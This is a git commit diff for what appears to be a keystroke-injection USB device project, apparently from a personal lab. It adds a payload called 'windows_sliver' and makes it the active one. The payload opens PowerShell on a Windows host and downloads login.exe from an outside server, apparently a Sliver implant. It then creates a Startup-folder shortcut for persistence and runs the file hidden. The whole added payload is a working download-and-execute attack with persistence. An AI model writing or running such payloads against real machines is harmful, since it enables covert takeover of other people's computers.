Added Sliver Payload and Persistence
This commit is contained in:
@@ -7,7 +7,7 @@ import src.inputs as inputs
|
||||
import src.util as util
|
||||
|
||||
# === CONFIG: ===
|
||||
payload = inputs.linux_hello
|
||||
payload = inputs.windows_sliver
|
||||
|
||||
# === === === ===
|
||||
|
||||
|
||||
@@ -60,3 +60,48 @@ debug_blinky = [
|
||||
("LED", (0,0,0)),
|
||||
("SLEEP", 0.2),
|
||||
]
|
||||
|
||||
# Windows Sliver
|
||||
windows_sliver = [
|
||||
("LED", (255, 165, 0)),
|
||||
("SLEEP", 3.0),
|
||||
|
||||
("PRESS", Keycode.WINDOWS),
|
||||
("SEND", Keycode.R),
|
||||
("RELEASE", None),
|
||||
("SLEEP", 0.5),
|
||||
|
||||
("WRITE", "powershell"),
|
||||
("SLEEP", 0.2),
|
||||
("SEND", Keycode.ENTER),
|
||||
("SLEEP", 1.5),
|
||||
|
||||
("WRITE", "Stop-Process -Name 'login' -Force -ErrorAction SilentlyContinue"),
|
||||
("SEND", Keycode.ENTER),
|
||||
("SLEEP", 0.5),
|
||||
|
||||
("WRITE", "New-Item -ItemType Directory -Force -Path $HOME\\Desktop\\Labor1"),
|
||||
("SEND", Keycode.ENTER),
|
||||
("SLEEP", 0.5),
|
||||
|
||||
("WRITE", "cd $HOME\\Desktop\\Labor1"),
|
||||
("SEND", Keycode.ENTER),
|
||||
("SLEEP", 0.3),
|
||||
|
||||
("WRITE", "(New-Object System.Net.WebClient).DownloadFile('https://sliver.david-lab.de/login.exe', \"$HOME\\Desktop\\Labor1\\login.exe\")"),
|
||||
("SEND", Keycode.ENTER),
|
||||
("SLEEP", 4.0),
|
||||
|
||||
("WRITE", "$s = (New-Object -ComObject WScript.Shell).CreateShortcut([Environment]::GetFolderPath('Startup') + '\\SliverLabor.lnk'); $s.TargetPath = \"$HOME\\Desktop\\Labor1\\login.exe\"; $s.Save()"),
|
||||
("SEND", Keycode.ENTER),
|
||||
("SLEEP", 0.5),
|
||||
|
||||
("WRITE", "Start-Process .\\login.exe -WindowStyle Hidden"),
|
||||
("SEND", Keycode.ENTER),
|
||||
("SLEEP", 0.5),
|
||||
|
||||
("WRITE", "exit"),
|
||||
("SEND", Keycode.ENTER),
|
||||
|
||||
("LED", (0, 255, 0)),
|
||||
]
|
||||
Reference in New Issue
Block a user